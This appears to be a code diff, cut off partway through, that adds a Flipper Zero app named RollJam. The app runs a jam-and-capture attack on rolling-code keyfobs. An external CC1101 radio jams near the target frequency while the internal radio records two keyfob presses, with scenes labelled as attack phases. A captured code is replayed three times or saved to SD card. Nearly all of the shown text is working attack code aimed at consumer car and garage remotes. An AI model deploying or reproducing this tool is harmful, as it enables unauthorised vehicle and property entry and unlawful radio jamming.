+            target->size = 0;
+            cap_valid_count = 0;
+            cap_total_count = 0;
+            cap_state = CapRecording;
+
+            int16_t s = level ? (int16_t)dur : -(int16_t)dur;
+            target->data[target->size++] = s;
+            cap_valid_count++;
+            cap_total_count++;
+        }
+        break;
+
+    case CapRecording:
+        if(target->size >= RAW_SIGNAL_MAX_SIZE) {
+            if(cap_valid_count >= MIN_FRAME_PULSES) {
+                cap_state = CapDone;
+            } else {
+                target->size = 0;
+                cap_valid_count = 0;
+                cap_total_count = 0;
+                cap_state = CapWaiting;
+            }
+            return;
+        }
+
+        if(is_silence) {
+            if(cap_valid_count >= MIN_FRAME_PULSES) {
+                if(target->size < RAW_SIGNAL_MAX_SIZE) {
+                    int16_t s = level ? (int16_t)32767 : -32767;
+                    target->data[target->size++] = s;
+                }
+                cap_state = CapDone;
+            } else {
+                target->size = 0;
+                cap_valid_count = 0;
+                cap_total_count = 0;
+                cap_state = CapWaiting;
+            }
+            return;
+        }
+
+        {
+            int16_t s = level ? (int16_t)dur : -(int16_t)dur;
+            target->data[target->size++] = s;
+            cap_total_count++;
+
+            if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
+                cap_valid_count++;
+                if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
+                    cap_state = CapDone;
+                }
+            }
+        }
+        break;
+
+    case CapDone:
+        break;
+    }
+}
+
+// ============================================================
+// Capture start/stop
+// ============================================================
+
+void rolljam_capture_start(RollJamApp* app) {
+    FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
+
+    // Full radio reset sequence
+    furi_hal_subghz_reset();
+    furi_delay_ms(10);
+    furi_hal_subghz_idle();
+    furi_delay_ms(10);
+
+    const uint8_t* preset;
+    switch(app->mod_index) {
+    case ModIndex_FM238:
+    case ModIndex_FM476:
+        preset = preset_fsk_rx;
+        break;
+    default:
+        preset = preset_ook_rx;
+        break;
+    }
+
+    furi_hal_subghz_load_custom_preset(preset);
+    furi_delay_ms(5);
+
+    uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
+    FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
+
+    furi_delay_ms(5);
+
+    furi_hal_subghz_rx();
+    furi_delay_ms(50);
+    cap_rssi_baseline = furi_hal_subghz_get_rssi();
+    furi_hal_subghz_idle();
+    furi_delay_ms(5);
+    FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline);
+
+    cap_state = CapWaiting;
+    cap_valid_count = 0;
+    cap_total_count = 0;
+    cap_callback_count = 0;
+
+    // Determine target
+    if(!app->signal_first.valid) {
+        cap_target_first = true;
+        app->signal_first.size = 0;
+        app->signal_first.valid = false;
+        FURI_LOG_I(TAG, "Capture target: FIRST signal");
+    } else {
+        cap_target_first = false;
+        app->signal_second.size = 0;
+        app->signal_second.valid = false;
+        FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
+                   app->signal_first.size);
+    }
+
+    app->raw_capture_active = true;
+    furi_hal_subghz_start_async_rx(capture_rx_callback, app);
+
+    FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
+               app->raw_capture_active, cap_target_first);
+}
+
+void rolljam_capture_stop(RollJamApp* app) {
+    if(!app->raw_capture_active) {
+        FURI_LOG_W(TAG, "Capture stop: was not active");
+        return;
+    }
+
+    app->raw_capture_active = false;
+
+    furi_hal_subghz_stop_async_rx();
+    furi_delay_ms(5);
+    furi_hal_subghz_idle();
+    furi_delay_ms(5);
+
+    FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
+               cap_callback_count, cap_state, cap_valid_count, cap_total_count);
+    FURI_LOG_I(TAG, "  Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
+    FURI_LOG_I(TAG, "  Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
+}
+
+// ============================================================
+// Validation
+// ============================================================
+
+bool rolljam_signal_is_valid(RawSignal* signal) {
+    if(cap_state != CapDone) {
+        // Log every few checks so we can see if callbacks are happening
+        static int check_count = 0;
+        check_count++;
+        if(check_count % 10 == 0) {
+            FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
+                       cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
+        }
+        return false;
+    }
+
+    if(signal->size < MIN_FRAME_PULSES) return false;
+
+    // Reject jammer noise: if signal is uniform amplitude, it's our own jam
+    if(rolljam_is_jammer_pattern(signal)) {
+        FURI_LOG_W(TAG, "Jammer noise ignored (size=%d)", signal->size);
+        signal->size = 0;
+        cap_state = CapWaiting;
+        cap_valid_count = 0;
+        cap_total_count = 0;
+        return false;
+    }
+
+    int good = 0;
+    int total = (int)signal->size;
+
+    for(int i = 0; i < total; i++) {
+        int16_t val = signal->data[i];
+        int16_t abs_val = val > 0 ? val : -val;
+        if((int32_t)abs_val >= MIN_PULSE_US) {  // upper bound = clamp at 32767
+            good++;
+        }
+    }
+
+    int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
+
+    if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
+        float rssi = furi_hal_subghz_get_rssi();
+        float rssi_delta = rssi - cap_rssi_baseline;
+        FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f",
+                   good, total, ratio_pct, total, (double)rssi, (double)rssi_delta);
+        if(rssi_delta < 5.0f && rssi < -85.0f) {
+            FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)",
+                       (double)rssi, (double)rssi_delta);
+            signal->size = 0;
+            cap_state = CapWaiting;
+            cap_valid_count = 0;
+            cap_total_count = 0;
+            return false;
+        }
+        return true;
+    }
+
+    FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
+    signal->size = 0;
+    cap_state = CapWaiting;
+    cap_valid_count = 0;
+    cap_total_count = 0;
+    return false;
+}
+
+// ============================================================
+// Signal cleanup
+// ============================================================
+
+void rolljam_signal_cleanup(RawSignal* signal) {
+    if(signal->size < MIN_FRAME_PULSES) return;
+
+    int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
+    if(!cleaned) return;
+    size_t out = 0;
+
+    size_t start = 0;
+    while(start < signal->size) {
+        int16_t val = signal->data[start];
+        int16_t abs_val = val > 0 ? val : -val;
+        if(abs_val >= MIN_PULSE_US) break;
+        start++;
+    }
+
+    for(size_t i = start; i < signal->size; i++) {
+        int16_t val = signal->data[i];
+        int16_t abs_val = val > 0 ? val : -val;
+        bool is_positive = val > 0;
+
+        if(abs_val < MIN_PULSE_US) {
+            if(out > 0) {
+                int16_t prev = cleaned[out - 1];
+                bool prev_positive = prev > 0;
+                int16_t prev_abs = prev > 0 ? prev : -prev;
+                if(prev_positive == is_positive) {
+                    int32_t merged = (int32_t)prev_abs + abs_val;
+                    if(merged > 32767) merged = 32767;
+                    cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
+                }
+            }
+            continue;
+        }
+
+        int32_t q = ((abs_val + 50) / 100) * 100;
+        if(q < MIN_PULSE_US) q = MIN_PULSE_US;
+        if(q > 32767) q = 32767;
+        int16_t quantized = (int16_t)q;
+
+        if(out < RAW_SIGNAL_MAX_SIZE) {
+            cleaned[out++] = is_positive ? quantized : -quantized;
+        }
+    }
+
+    while(out > 0) {
+        int16_t last = cleaned[out - 1];
+        int16_t abs_last = last > 0 ? last : -last;
+        if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
+        out--;
+    }
+
+    if(out >= MIN_FRAME_PULSES) {
+        size_t orig = signal->size;
+        memcpy(signal->data, cleaned, out * sizeof(int16_t));
+        signal->size = out;
+        FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
+    }
+
+    free(cleaned);
+}
+
+// ============================================================
+// TX
+// ============================================================
+
+typedef struct {
+    const int16_t* data;
+    size_t size;
+    volatile size_t index;
+} TxCtx;
+
+static TxCtx g_tx;
+
+static LevelDuration tx_feed(void* context) {
+    UNUSED(context);
+    if(g_tx.index >= g_tx.size) return level_duration_reset();
+
+    int16_t sample = g_tx.data[g_tx.index++];
+    bool level = (sample > 0);
+    uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
+
+    return level_duration_make(level, dur);
+}
+
+void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
+    if(!signal->valid || signal->size == 0) {
+        FURI_LOG_E(TAG, "TX: no valid signal");
+        return;
+    }
+
+    FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", signal->size, app->frequency);
+
+    furi_hal_subghz_reset();
+    furi_hal_subghz_idle();
+    furi_delay_ms(10);
+
+    const uint8_t* tx_preset;
+    switch(app->mod_index) {
+    case ModIndex_FM238:
+        tx_preset = preset_fsk_tx_238;
+        break;
+    case ModIndex_FM476:
+        tx_preset = preset_fsk_tx_476;
+        break;
+    default:
+        tx_preset = preset_ook_tx;
+        break;
+    }
+    furi_hal_subghz_load_custom_preset(tx_preset);
+    uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
+    FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
+
+    // Transmit 3 times — improves reliability especially at range
+    for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
+        g_tx.data = signal->data;
+        g_tx.size = signal->size;
+        g_tx.index = 0;
+
+        if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
+            FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
+            furi_hal_subghz_idle();
+            return;
+        }
+
+        uint32_t timeout = 0;
+        while(!furi_hal_subghz_is_async_tx_complete()) {
+            furi_delay_ms(5);
+            if(++timeout > 2000) {
+                FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
+                break;
+            }
+        }
+
+        furi_hal_subghz_stop_async_tx();
+        FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)", tx_repeat, g_tx.index, signal->size);
+
+        // Small gap between repeats
+        if(tx_repeat < 2) furi_delay_ms(50);
+    }
+
+    furi_hal_subghz_idle();
+    FURI_LOG_I(TAG, "TX: all repeats done");
+}
+
+// ============================================================
+// Save
+// ============================================================
+
+void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
+    if(!signal->valid || signal->size == 0) {
+        FURI_LOG_E(TAG, "Save: no signal");
+        return;
+    }
+
+    DateTime dt;
+    furi_hal_rtc_get_datetime(&dt);
+
+    FuriString* path = furi_string_alloc_printf(
+        "/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
+        dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
+
+    FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
+
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    storage_simply_mkdir(storage, "/ext/subghz");
+    File* file = storage_file_alloc(storage);
+
+    if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
+        FuriString* line = furi_string_alloc();
+
+        furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
+        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
+
+        furi_string_printf(line, "Version: 1\n");
+        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
+
+        furi_string_printf(line, "Frequency: %lu\n", app->frequency);
+        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
+
+        const char* pname;
+        switch(app->mod_index) {
+        case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
+        case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
+        case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
+        default: pname = "FuriHalSubGhzPresetOok650Async"; break;
+        }
+
+        furi_string_printf(line, "Preset: %s\n", pname);
+        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
+
+        furi_string_printf(line, "Protocol: RAW\n");
+        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
+
+        size_t i = 0;
+        while(i < signal->size) {
+            furi_string_set(line, "RAW_Data:");
+            size_t end = i + 512;
+            if(end > signal->size) end = signal->size;
+            for(; i < end; i++) {
+                furi_string_cat_printf(line, " %d", signal->data[i]);
+            }
+            furi_string_cat(line, "\n");
+            storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
+        }
+
+        furi_string_free(line);
+        FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
+    } else {
+        FURI_LOG_E(TAG, "Save failed!");
+    }
+
+    storage_file_close(file);
+    storage_file_free(file);
+    furi_record_close(RECORD_STORAGE);
+    furi_string_free(path);
+}

applications/main/RollJam/helpers/rolljam_receiver.h

@@ -0,0 +1,34 @@
+#pragma once
+
+#include "../rolljam.h"
+
+/*
+ * Internal CC1101 raw signal capture and transmission.
+ *
+ * Capture: uses narrow RX bandwidth so the offset jamming
+ *          from the external CC1101 is filtered out.
+ *
+ * The captured raw data is stored as signed int16 values:
+ *   positive = high-level duration (microseconds)
+ *   negative = low-level duration (microseconds)
+ *
+ * This matches the Flipper .sub RAW format.
+ */
+
+// Start raw capture on internal CC1101
+void rolljam_capture_start(RollJamApp* app);
+
+// Stop capture
+void rolljam_capture_stop(RollJamApp* app);
+
+// Check if captured signal looks valid (not just noise)
+bool rolljam_signal_is_valid(RawSignal* signal);
+
+// Clean up captured signal: merge short pulses, quantize, trim noise
+void rolljam_signal_cleanup(RawSignal* signal);
+
+// Transmit a raw signal via internal CC1101
+void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
+
+// Save signal to .sub file on SD card
+void rolljam_save_signal(RollJamApp* app, RawSignal* signal);

applications/main/RollJam/readme.md

@@ -0,0 +1,21 @@
+applications_user/rolljam/
+├── application.fam
+├── rolljam.png          (icon 10x10)
+├── rolljam.c
+├── rolljam_icons.h
+├── scenes/
+│   ├── rolljam_scene.h
+│   ├── rolljam_scene_config.h
+│   ├── rolljam_scene_menu.c
+│   ├── rolljam_scene_attack_phase1.c
+│   ├── rolljam_scene_attack_phase2.c
+│   ├── rolljam_scene_attack_phase3.c
+│   └── rolljam_scene_result.c
+├── helpers/
+│   ├── rolljam_cc1101_ext.h
+│   ├── rolljam_cc1101_ext.c
+│   ├── rolljam_receiver.h
+│   └── rolljam_receiver.c
+└── views/
+    ├── rolljam_attack_view.h
+    └── rolljam_attack_view.c

applications/main/RollJam/rolljam.c

@@ -0,0 +1,236 @@
+#include "rolljam.h"
+#include "scenes/rolljam_scene.h"
+#include "helpers/rolljam_cc1101_ext.h"
+#include "helpers/rolljam_receiver.h"
+#include "helpers/rolljam_cc1101_ext.h"
+
+// ============================================================
+// Frequency / modulation tables
+// ============================================================
+
+const uint32_t freq_values[] = {
+    300000000,
+    303875000,
+    315000000,
+    318000000,
+    390000000,
+    433075000,
+    433920000,
+    434420000,
+    438900000,
+    868350000,
+    915000000,
+};
+
+const char* freq_names[] = {
+    "300.00",
+    "303.87",
+    "315.00",
+    "318.00",
+    "390.00",
+    "433.07",
+    "433.92",
+    "434.42",
+    "438.90",
+    "868.35",
+    "915.00",
+};
+
+const char* mod_names[] = {
+    "AM 650",
+    "AM 270",
+    "FM 238",
+    "FM 476",
+};
+
+const uint32_t jam_offset_values[] = {
+    300000,
+    500000,
+    700000,
+    1000000,
+};
+
+const char* jam_offset_names[] = {
+    "300 kHz",
+    "500 kHz",
+    "700 kHz",
+    "1000 kHz",
+};
+
+const char* hw_names[] = {
+    "CC1101",
+    "Flux Cap",
+};
+
+// ============================================================
+// Scene handlers table (extern declarations in scene header)
+// ============================================================
+
+void (*const rolljam_scene_on_enter_handlers[])(void*) = {
+    rolljam_scene_menu_on_enter,
+    rolljam_scene_attack_phase1_on_enter,
+    rolljam_scene_attack_phase2_on_enter,
+    rolljam_scene_attack_phase3_on_enter,
+    rolljam_scene_result_on_enter,
+};
+
+bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
+    rolljam_scene_menu_on_event,
+    rolljam_scene_attack_phase1_on_event,
+    rolljam_scene_attack_phase2_on_event,
+    rolljam_scene_attack_phase3_on_event,
+    rolljam_scene_result_on_event,
+};
+
+void (*const rolljam_scene_on_exit_handlers[])(void*) = {
+    rolljam_scene_menu_on_exit,
+    rolljam_scene_attack_phase1_on_exit,
+    rolljam_scene_attack_phase2_on_exit,
+    rolljam_scene_attack_phase3_on_exit,
+    rolljam_scene_result_on_exit,
+};
+
+const SceneManagerHandlers rolljam_scene_handlers = {
+    .on_enter_handlers = rolljam_scene_on_enter_handlers,
+    .on_event_handlers = rolljam_scene_on_event_handlers,
+    .on_exit_handlers = rolljam_scene_on_exit_handlers,
+    .scene_num = RollJamSceneCount,
+};
+
+// ============================================================
+// Navigation callbacks
+// ============================================================
+
+static bool rolljam_navigation_callback(void* context) {
+    RollJamApp* app = context;
+    return scene_manager_handle_back_event(app->scene_manager);
+}
+
+static bool rolljam_custom_event_callback(void* context, uint32_t event) {
+    RollJamApp* app = context;
+    return scene_manager_handle_custom_event(app->scene_manager, event);
+}
+
+// ============================================================
+// App alloc
+// ============================================================
+
+static RollJamApp* rolljam_app_alloc(void) {
+    RollJamApp* app = malloc(sizeof(RollJamApp));
+    memset(app, 0, sizeof(RollJamApp));
+
+    app->freq_index = FreqIndex_433_92;
+    app->frequency = freq_values[FreqIndex_433_92];
+    app->mod_index = ModIndex_AM650;
+    app->jam_offset_index = JamOffIndex_700k;
+    app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
+    app->hw_index = HwIndex_CC1101;
+
+    // Services
+    app->gui = furi_record_open(RECORD_GUI);
+    app->notification = furi_record_open(RECORD_NOTIFICATION);
+    app->storage = furi_record_open(RECORD_STORAGE);
+
+    // Scene manager
+    app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
+
+    // View dispatcher
+    app->view_dispatcher = view_dispatcher_alloc();
+    view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
+    view_dispatcher_set_custom_event_callback(
+        app->view_dispatcher, rolljam_custom_event_callback);
+    view_dispatcher_set_navigation_event_callback(
+        app->view_dispatcher, rolljam_navigation_callback);
+    view_dispatcher_attach_to_gui(
+        app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
+
+    // Variable item list
+    app->var_item_list = variable_item_list_alloc();
+    view_dispatcher_add_view(
+        app->view_dispatcher,
+        RollJamViewVarItemList,
+        variable_item_list_get_view(app->var_item_list));
+
+    // Widget
+    app->widget = widget_alloc();
+    view_dispatcher_add_view(
+        app->view_dispatcher,
+        RollJamViewWidget,
+        widget_get_view(app->widget));
+
+    // Dialog
+    app->dialog_ex = dialog_ex_alloc();
+    view_dispatcher_add_view(
+        app->view_dispatcher,
+        RollJamViewDialogEx,
+        dialog_ex_get_view(app->dialog_ex));
+
+    // Popup
+    app->popup = popup_alloc();
+    view_dispatcher_add_view(
+        app->view_dispatcher,
+        RollJamViewPopup,
+        popup_get_view(app->popup));
+
+    return app;
+}
+
+// ============================================================
+// App free
+// ============================================================
+
+static void rolljam_app_free(RollJamApp* app) {
+    // Safety: stop everything
+    if(app->jamming_active) {
+        rolljam_jammer_stop(app);
+    }
+    if(app->raw_capture_active) {
+        rolljam_capture_stop(app);
+    }
+
+    // Remove views
+    view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
+    variable_item_list_free(app->var_item_list);
+
+    view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
+    widget_free(app->widget);
+
+    view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
+    dialog_ex_free(app->dialog_ex);
+
+    view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
+    popup_free(app->popup);
+
+    // Core
+    scene_manager_free(app->scene_manager);
+    view_dispatcher_free(app->view_dispatcher);
+
+    // Services
+    furi_record_close(RECORD_GUI);
+    furi_record_close(RECORD_NOTIFICATION);
+    furi_record_close(RECORD_STORAGE);
+
+    free(app);
+}
+
+// ============================================================
+// Entry point
+// ============================================================
+
+int32_t rolljam_app(void* p) {
+    UNUSED(p);
+
+    RollJamApp* app = rolljam_app_alloc();
+
+    FURI_LOG_I(TAG, "=== RollJam Started ===");
+    FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
+    FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
+
+    scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
+    view_dispatcher_run(app->view_dispatcher);
+
+    rolljam_app_free(app);
+
+    FURI_LOG_I(TAG, "=== RollJam Stopped ===");
+    return 0;
+}

applications/main/RollJam/rolljam.h

@@ -0,0 +1,164 @@
+#pragma once
+
+#include <furi.h>
+#include <furi_hal.h>
+#include <gui/gui.h>
+#include <gui/view_dispatcher.h>
+#include <gui/scene_manager.h>
+#include <gui/modules/submenu.h>
+#include <gui/modules/popup.h>
+#include <gui/modules/variable_item_list.h>
+#include <gui/modules/widget.h>
+#include <gui/modules/dialog_ex.h>
+#include <notification/notification.h>
+#include <notification/notification_messages.h>
+#include <storage/storage.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define TAG "RollJam"
+
+// Max raw signal buffer
+#define RAW_SIGNAL_MAX_SIZE 4096
+
+// ============================================================
+// Frequencies
+// ============================================================
+typedef enum {
+    FreqIndex_300_00 = 0,
+    FreqIndex_303_87,
+    FreqIndex_315_00,
+    FreqIndex_318_00,
+    FreqIndex_390_00,
+    FreqIndex_433_07,
+    FreqIndex_433_92,
+    FreqIndex_434_42,
+    FreqIndex_438_90,
+    FreqIndex_868_35,
+    FreqIndex_915_00,
+    FreqIndex_COUNT,
+} FreqIndex;
+
+extern const uint32_t freq_values[];
+extern const char* freq_names[];
+
+// ============================================================
+// Modulations
+// ============================================================
+typedef enum {
+    ModIndex_AM650 = 0,
+    ModIndex_AM270,
+    ModIndex_FM238,
+    ModIndex_FM476,
+    ModIndex_COUNT,
+} ModIndex;
+
+extern const char* mod_names[];
+
+// ============================================================
+// Jam offsets
+// ============================================================
+typedef enum {
+    JamOffIndex_300k = 0,
+    JamOffIndex_500k,
+    JamOffIndex_700k,
+    JamOffIndex_1000k,
+    JamOffIndex_COUNT,
+} JamOffIndex;
+
+extern const uint32_t jam_offset_values[];
+extern const char* jam_offset_names[];
+
+// ============================================================
+// Hardware type
+// ============================================================
+typedef enum {
+    HwIndex_CC1101 = 0,
+    HwIndex_FluxCapacitor,
+    HwIndex_COUNT,
+} HwIndex;
+
+extern const char* hw_names[];
+
+// ============================================================
+// Scenes
+// ============================================================
+typedef enum {
+    RollJamSceneMenu,
+    RollJamSceneAttackPhase1,
+    RollJamSceneAttackPhase2,
+    RollJamSceneAttackPhase3,
+    RollJamSceneResult,
+    RollJamSceneCount,
+} RollJamScene;
+
+// ============================================================
+// Views
+// ============================================================
+typedef enum {
+    RollJamViewVarItemList,
+    RollJamViewWidget,
+    RollJamViewDialogEx,
+    RollJamViewPopup,
+} RollJamView;
+
+// ============================================================
+// Custom events
+// ============================================================
+typedef enum {
+    RollJamEventStartAttack = 100,
+    RollJamEventSignalCaptured,
+    RollJamEventPhase3Done,
+    RollJamEventReplayNow,
+    RollJamEventSaveSignal,
+    RollJamEventBack,
+} RollJamEvent;
+
+// ============================================================
+// Raw signal container
+// ============================================================
+typedef struct {
+    int16_t data[RAW_SIGNAL_MAX_SIZE];
+    size_t size;
+    bool valid;
+} RawSignal;
+
+// ============================================================
+// Main app struct
+// ============================================================
+typedef struct {
+    // Core
+    Gui* gui;
+    ViewDispatcher* view_dispatcher;
+    SceneManager* scene_manager;
+    NotificationApp* notification;
+    Storage* storage;
+
+    // Views / modules
+    VariableItemList* var_item_list;
+    Widget* widget;
+    DialogEx* dialog_ex;
+    Popup* popup;
+
+    // Settings
+    FreqIndex freq_index;
+    ModIndex mod_index;
+    JamOffIndex jam_offset_index;
+    HwIndex hw_index;
+    uint32_t frequency;
+    uint32_t jam_frequency;
+    uint32_t jam_offset_hz;
+
+    // Captured signals
+    RawSignal signal_first;
+    RawSignal signal_second;
+
+    // Jamming state
+    bool jamming_active;
+    FuriThread* jam_thread;
+    volatile bool jam_thread_running;
+
+    // Capture state
+    volatile bool raw_capture_active;
+
+} RollJamApp;

applications/main/RollJam/rolljam_icons.h

@@ -0,0 +1,9 @@
+#pragma once
+
+// Icon assets are auto-generated by the build system
+// from the images/ folder. If no custom icons are needed,
+// this file can remain minimal.
+
+// If you place .png files in an images/ folder,
+// the build system generates icon references automatically.
+// Access them via &I_iconname

applications/main/RollJam/scenes/rolljam_scene.h

@@ -0,0 +1,27 @@
+#pragma once
+
+#include "../rolljam.h"
+
+// Scene on_enter
+void rolljam_scene_menu_on_enter(void* context);
+void rolljam_scene_attack_phase1_on_enter(void* context);
+void rolljam_scene_attack_phase2_on_enter(void* context);
+void rolljam_scene_attack_phase3_on_enter(void* context);
+void rolljam_scene_result_on_enter(void* context);
+
+// Scene on_event
+bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
+bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
+bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
+bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
+bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
+
+// Scene on_exit
+void rolljam_scene_menu_on_exit(void* context);
+void rolljam_scene_attack_phase1_on_exit(void* context);
+void rolljam_scene_attack_phase2_on_exit(void* context);
+void rolljam_scene_attack_phase3_on_exit(void* context);
+void rolljam_scene_result_on_exit(void* context);
+
+// Scene manager handlers (defined in rolljam.c)
+extern const SceneManagerHandlers rolljam_scene_handlers;

applications/main/RollJam/scenes/rolljam_scene_attack_phase1.c

@@ -0,0 +1,105 @@
+#include "rolljam_scene.h"
+#include "../helpers/rolljam_cc1101_ext.h"
+#include "../helpers/rolljam_receiver.h"
+
+// ============================================================
+// Phase 1: JAM + CAPTURE first keyfob press
+// ============================================================
+
+static void phase1_timer_callback(void* context) {
+    RollJamApp* app = context;
+
+    if(app->signal_first.size > 0 &&
+       rolljam_signal_is_valid(&app->signal_first)) {
+        rolljam_signal_cleanup(&app->signal_first);
+        app->signal_first.valid = true;
+        view_dispatcher_send_custom_event(
+            app->view_dispatcher, RollJamEventSignalCaptured);
+    }
+}
+
+void rolljam_scene_attack_phase1_on_enter(void* context) {
+    RollJamApp* app = context;
+
+    widget_reset(app->widget);
+    widget_add_string_element(
+        app->widget, 64, 2, AlignCenter, AlignTop,
+        FontPrimary, "PHASE 1 / 4");
+    widget_add_string_element(
+        app->widget, 64, 16, AlignCenter, AlignTop,
+        FontSecondary, "Jamming active...");
+    widget_add_string_element(
+        app->widget, 64, 28, AlignCenter, AlignTop,
+        FontSecondary, "Listening for keyfob");
+    widget_add_string_element(
+        app->widget, 64, 42, AlignCenter, AlignTop,
+        FontPrimary, "PRESS KEYFOB NOW");
+    widget_add_string_element(
+        app->widget, 64, 56, AlignCenter, AlignTop,
+        FontSecondary, "[BACK] cancel");
+
+    view_dispatcher_switch_to_view(
+        app->view_dispatcher, RollJamViewWidget);
+
+    // Configure hardware type
+    rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
+
+    // Start jamming
+    rolljam_jammer_start(app);
+
+    // Start capture
+    rolljam_capture_start(app);
+
+    notification_message(app->notification, &sequence_blink_blue_100);
+
+    FuriTimer* timer = furi_timer_alloc(
+        phase1_timer_callback, FuriTimerTypePeriodic, app);
+    furi_timer_start(timer, 300);
+
+    scene_manager_set_scene_state(
+        app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
+
+    FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
+}
+
+bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
+    RollJamApp* app = context;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == RollJamEventSignalCaptured) {
+            notification_message(app->notification, &sequence_success);
+
+            FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
+                       app->signal_first.size);
+
+            // Stop capture cleanly
+            rolljam_capture_stop(app);
+            // Jamming stays active!
+
+            scene_manager_next_scene(
+                app->scene_manager, RollJamSceneAttackPhase2);
+            return true;
+        }
+    } else if(event.type == SceneManagerEventTypeBack) {
+        FURI_LOG_I(TAG, "Phase1: cancelled by user");
+        rolljam_capture_stop(app);
+        rolljam_jammer_stop(app);
+        scene_manager_search_and_switch_to_another_scene(
+            app->scene_manager, RollJamSceneMenu);
+        return true;
+    }
+    return false;
+}
+
+void rolljam_scene_attack_phase1_on_exit(void* context) {
+    RollJamApp* app = context;
+
+    FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
+        app->scene_manager, RollJamSceneAttackPhase1);
+    if(timer) {
+        furi_timer_stop(timer);
+        furi_timer_free(timer);
+    }
+
+    widget_reset(app->widget);
+}

applications/main/RollJam/scenes/rolljam_scene_attack_phase2.c

@@ -0,0 +1,108 @@
+#include "rolljam_scene.h"
+#include "../helpers/rolljam_cc1101_ext.h"
+#include "../helpers/rolljam_receiver.h"
+
+// ============================================================
+// Phase 2: JAM + CAPTURE second keyfob press
+// ============================================================
+
+static void phase2_timer_callback(void* context) {
+    RollJamApp* app = context;
+
+    if(app->signal_second.size > 0 &&
+       rolljam_signal_is_valid(&app->signal_second)) {
+        rolljam_signal_cleanup(&app->signal_second);
+        app->signal_second.valid = true;
+        view_dispatcher_send_custom_event(
+            app->view_dispatcher, RollJamEventSignalCaptured);
+    }
+}
+
+void rolljam_scene_attack_phase2_on_enter(void* context) {
+    RollJamApp* app = context;
+
